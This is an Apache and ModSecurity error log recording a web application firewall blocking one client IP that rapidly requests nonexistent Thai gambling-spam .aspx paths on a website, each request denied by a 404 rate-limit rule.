[Thu Jan 29 21:58:01.600431 2026] [:error] [pid 39863:tid 39879] [client 181.214.166.180:61650] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20pg%20%E0%B8%8B%E0%B8%B7%E0%B9%89%E0%B8%AD%20%E0%B8%9F%E0%B8%A3%E0%B8%B5%20%E0%B8%AA%20%E0%B8%9B%E0%B8%B4%20%E0%B8%99%20%E0%B9%84%E0%B8%94%E0%B9%89%20%E0%B9%84%E0%B8%A1%E0%B9%88%20%E0%B9%80%E0%B8%94%E0%B9%89%E0%B8%87.aspx"] [unique_id "aXtnabsHJJGGu8set58B6wAAAU0"]
[Thu Jan 29 21:58:02.080072 2026] [:error] [pid 20486:tid 20494] [client 181.214.166.180:34880] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20pg%20%E0%B8%8B%E0%B8%B7%E0%B9%89%E0%B8%AD%20%E0%B8%9F%E0%B8%A3%E0%B8%B5%20%E0%B8%AA%20%E0%B8%9B%E0%B8%B4%20%E0%B8%99%20%E0%B9%84%E0%B8%94%E0%B9%89%20%E0%B9%84%E0%B8%A1%E0%B9%88%20%E0%B9%80%E0%B8%94%E0%B9%89%E0%B8%87.aspx"] [unique_id "aXtnangqSZb6GBx5nnMNhQAAAQU"]
[Thu Jan 29 21:58:04.265615 2026] [:error] [pid 20580:tid 20686] [client 181.214.166.180:29363] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20pg%20%E0%B8%8B%E0%B8%B7%E0%B9%89%E0%B8%AD%E0%B8%9F%E0%B8%A3%E0%B8%B5%E0%B8%AA%E0%B8%9B%E0%B8%B4%E0%B8%99%E0%B9%84%E0%B8%94%E0%B9%89%202024.aspx"] [unique_id "aXtnbJCZ5HHdXPmeL59GygAAApI"]
[Thu Jan 29 21:58:04.745575 2026] [:error] [pid 20580:tid 20669] [client 181.214.166.180:5296] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20pg%20%E0%B8%8B%E0%B8%B7%E0%B9%89%E0%B8%AD%E0%B8%9F%E0%B8%A3%E0%B8%B5%E0%B8%AA%E0%B8%9B%E0%B8%B4%E0%B8%99%E0%B9%84%E0%B8%94%E0%B9%89%202024.aspx"] [unique_id "aXtnbJCZ5HHdXPmeL59GywAAAoI"]
[Thu Jan 29 21:58:06.883621 2026] [:error] [pid 20486:tid 20499] [client 181.214.166.180:13745] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20pg%20%E0%B8%8B%E0%B8%B7%E0%B9%89%E0%B8%AD%E0%B8%9F%E0%B8%B5%E0%B9%80%E0%B8%88%E0%B8%AD%E0%B8%A3%E0%B9%8C.aspx"] [unique_id "aXtnbngqSZb6GBx5nnMNjAAAAQo"]
[Thu Jan 29 21:58:07.369378 2026] [:error] [pid 20578:tid 20631] [client 181.214.166.180:7079] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20pg%20%E0%B8%8B%E0%B8%B7%E0%B9%89%E0%B8%AD%E0%B8%9F%E0%B8%B5%E0%B9%80%E0%B8%88%E0%B8%AD%E0%B8%A3%E0%B9%8C.aspx"] [unique_id "aXtnbw6UX7yOMwQFiydEZwAAAhI"]
[Thu Jan 29 21:58:09.516577 2026] [:error] [pid 39863:tid 39877] [client 181.214.166.180:8620] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20pg%20%E0%B8%97%E0%B8%B1%E0%B9%89%E0%B8%87%E0%B8%AB%E0%B8%A1%E0%B8%94.aspx"] [unique_id "aXtncbsHJJGGu8set58B8QAAAUs"]
[Thu Jan 29 21:58:10.001302 2026] [:error] [pid 39863:tid 39879] [client 181.214.166.180:55435] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20pg%20%E0%B8%97%E0%B8%B1%E0%B9%89%E0%B8%87%E0%B8%AB%E0%B8%A1%E0%B8%94.aspx"] [unique_id "aXtncrsHJJGGu8set58B9AAAAU0"]
[Thu Jan 29 21:58:12.139107 2026] [:error] [pid 19071:tid 19152] [client 181.214.166.180:53461] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20pg%20%E0%B8%9F%E0%B8%A3%E0%B8%B5.aspx"] [unique_id "aXtndJfa8Ix5wWmtmJybwwAAAJM"]
[Thu Jan 29 21:58:12.618250 2026] [:error] [pid 19069:tid 19097] [client 181.214.166.180:1963] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20pg%20%E0%B8%9F%E0%B8%A3%E0%B8%B5.aspx"] [unique_id "aXtndPDHsRM4BJ9a4Qt7PgAAABM"]
[Thu Jan 29 21:58:14.753833 2026] [:error] [pid 19069:tid 19080] [client 181.214.166.180:9964] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%97%E0%B8%B8%E0%B8%81%E0%B8%84%E0%B9%88%E0%B8%B2%E0%B8%A2%E0%B8%9F%E0%B8%A3%E0%B8%B5.aspx"] [unique_id "aXtndvDHsRM4BJ9a4Qt7QwAAAAI"]
[Thu Jan 29 21:58:15.239818 2026] [:error] [pid 20579:tid 20647] [client 181.214.166.180:28491] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%97%E0%B8%B8%E0%B8%81%E0%B8%84%E0%B9%88%E0%B8%B2%E0%B8%A2%E0%B8%9F%E0%B8%A3%E0%B8%B5.aspx"] [unique_id "aXtndzVXNopcNyjJc9UsFwAAAkY"]
[Thu Jan 29 21:58:17.400348 2026] [:error] [pid 40273:tid 40276] [client 181.214.166.180:27369] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%202020.aspx"] [unique_id "aXtneRN1IJpP__zZvujJnAAAAEE"]
[Thu Jan 29 21:58:17.873898 2026] [:error] [pid 19069:tid 19083] [client 181.214.166.180:56813] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%202020.aspx"] [unique_id "aXtnefDHsRM4BJ9a4Qt7SQAAAAU"]
[Thu Jan 29 21:58:20.033636 2026] [:error] [pid 20579:tid 20652] [client 181.214.166.180:56147] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXtnfDVXNopcNyjJc9UsGwAAAks"]
[Thu Jan 29 21:58:20.515991 2026] [:error] [pid 20486:tid 20511] [client 181.214.166.180:47672] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXtnfHgqSZb6GBx5nnMNpAAAARY"]
[Thu Jan 29 21:58:22.688169 2026] [:error] [pid 40273:tid 40287] [client 181.214.166.180:49536] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99.aspx"] [unique_id "aXtnfhN1IJpP__zZvujJowAAAEw"]
[Thu Jan 29 21:58:23.164153 2026] [:error] [pid 20578:tid 20624] [client 181.214.166.180:60540] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99.aspx"] [unique_id "aXtnfw6UX7yOMwQFiydEdQAAAgs"]
[Thu Jan 29 21:58:25.320187 2026] [:error] [pid 19069:tid 19081] [client 181.214.166.180:31217] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99pg.aspx"] [unique_id "aXtngfDHsRM4BJ9a4Qt7TAAAAAM"]
[Thu Jan 29 21:58:25.800304 2026] [:error] [pid 20578:tid 20627] [client 181.214.166.180:18813] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99pg.aspx"] [unique_id "aXtngQ6UX7yOMwQFiydEfAAAAg4"]
[Thu Jan 29 21:58:27.959558 2026] [:error] [pid 40273:tid 40291] [client 181.214.166.180:28951] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87pp.aspx"] [unique_id "aXtngxN1IJpP__zZvujJrQAAAFA"]
[Thu Jan 29 21:58:28.441390 2026] [:error] [pid 20578:tid 20633] [client 181.214.166.180:39915] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87pp.aspx"] [unique_id "aXtnhA6UX7yOMwQFiydEfwAAAhQ"]
[Thu Jan 29 21:58:30.570062 2026] [:error] [pid 39863:tid 39890] [client 181.214.166.180:41616] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%20%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20pg%20slot.aspx"] [unique_id "aXtnhrsHJJGGu8set58CGwAAAVg"]
[Thu Jan 29 21:58:31.053929 2026] [:error] [pid 19071:tid 19142] [client 181.214.166.180:56761] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%20%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20pg%20slot.aspx"] [unique_id "aXtnh5fa8Ix5wWmtmJyb0QAAAIk"]
[Thu Jan 29 21:58:33.199995 2026] [:error] [pid 39863:tid 39878] [client 181.214.166.180:63333] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%20%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20sbobet.aspx"] [unique_id "aXtnibsHJJGGu8set58CIAAAAUw"]
[Thu Jan 29 21:58:33.676540 2026] [:error] [pid 20486:tid 20501] [client 181.214.166.180:53598] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%20%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20sbobet.aspx"] [unique_id "aXtniXgqSZb6GBx5nnMNtAAAAQw"]
[Thu Jan 29 21:58:35.809228 2026] [:error] [pid 19069:tid 19079] [client 181.214.166.180:18063] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20789.aspx"] [unique_id "aXtni_DHsRM4BJ9a4Qt7UwAAAAE"]
[Thu Jan 29 21:58:36.289777 2026] [:error] [pid 20519:tid 20564] [client 181.214.166.180:18949] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20789.aspx"] [unique_id "aXtnjAo4s4fyROrkyRn0xgAAAZA"]
[Thu Jan 29 21:58:38.460379 2026] [:error] [pid 20519:tid 20566] [client 181.214.166.180:62013] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20sbobet%20%E0%B8%A1%E0%B8%B7%E0%B8%AD%20%E0%B8%96%E0%B8%B7%E0%B8%AD.aspx"] [unique_id "aXtnjgo4s4fyROrkyRn0yQAAAZI"]
[Thu Jan 29 21:58:38.943568 2026] [:error] [pid 20519:tid 20571] [client 181.214.166.180:22820] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20sbobet%20%E0%B8%A1%E0%B8%B7%E0%B8%AD%20%E0%B8%96%E0%B8%B7%E0%B8%AD.aspx"] [unique_id "aXtnjgo4s4fyROrkyRn0ywAAAZc"]
[Thu Jan 29 21:58:41.099536 2026] [:error] [pid 20580:tid 20692] [client 181.214.166.180:25062] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20slotxo%20888.aspx"] [unique_id "aXtnkZCZ5HHdXPmeL59G4gAAApg"]
[Thu Jan 29 21:58:41.574258 2026] [:error] [pid 20580:tid 20691] [client 181.214.166.180:43546] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20slotxo%20888.aspx"] [unique_id "aXtnkZCZ5HHdXPmeL59G4wAAApc"]
[Thu Jan 29 21:58:43.720176 2026] [:error] [pid 20579:tid 20657] [client 181.214.166.180:62468] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20ufabet%20%E0%B8%A1%E0%B8%B7%E0%B8%AD%E0%B8%96%E0%B8%B7%E0%B8%AD.aspx"] [unique_id "aXtnkzVXNopcNyjJc9UsLAAAAlA"]
[Thu Jan 29 21:58:44.201943 2026] [:error] [pid 20576:tid 20596] [client 181.214.166.180:1441] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20ufabet%20%E0%B8%A1%E0%B8%B7%E0%B8%AD%E0%B8%96%E0%B8%B7%E0%B8%AD.aspx"] [unique_id "aXtnlCrDZws_FlQGi9eASwAAAco"]
[Thu Jan 29 21:58:46.365864 2026] [:error] [pid 20486:tid 20511] [client 181.214.166.180:42846] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20ufabet%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXtnlngqSZb6GBx5nnMNwgAAARY"]
[Thu Jan 29 21:58:46.839995 2026] [:error] [pid 20519:tid 20572] [client 181.214.166.180:41342] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20ufabet%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXtnlgo4s4fyROrkyRn00gAAAZg"]
[Thu Jan 29 21:58:48.975446 2026] [:error] [pid 20576:tid 20599] [client 181.214.166.180:55903] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%8B%E0%B8%B8%E0%B8%9B%E0%B9%80%E0%B8%9B%E0%B8%AD%E0%B8%A3%E0%B9%8C%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXtnmCrDZws_FlQGi9eAUQAAAc0"]
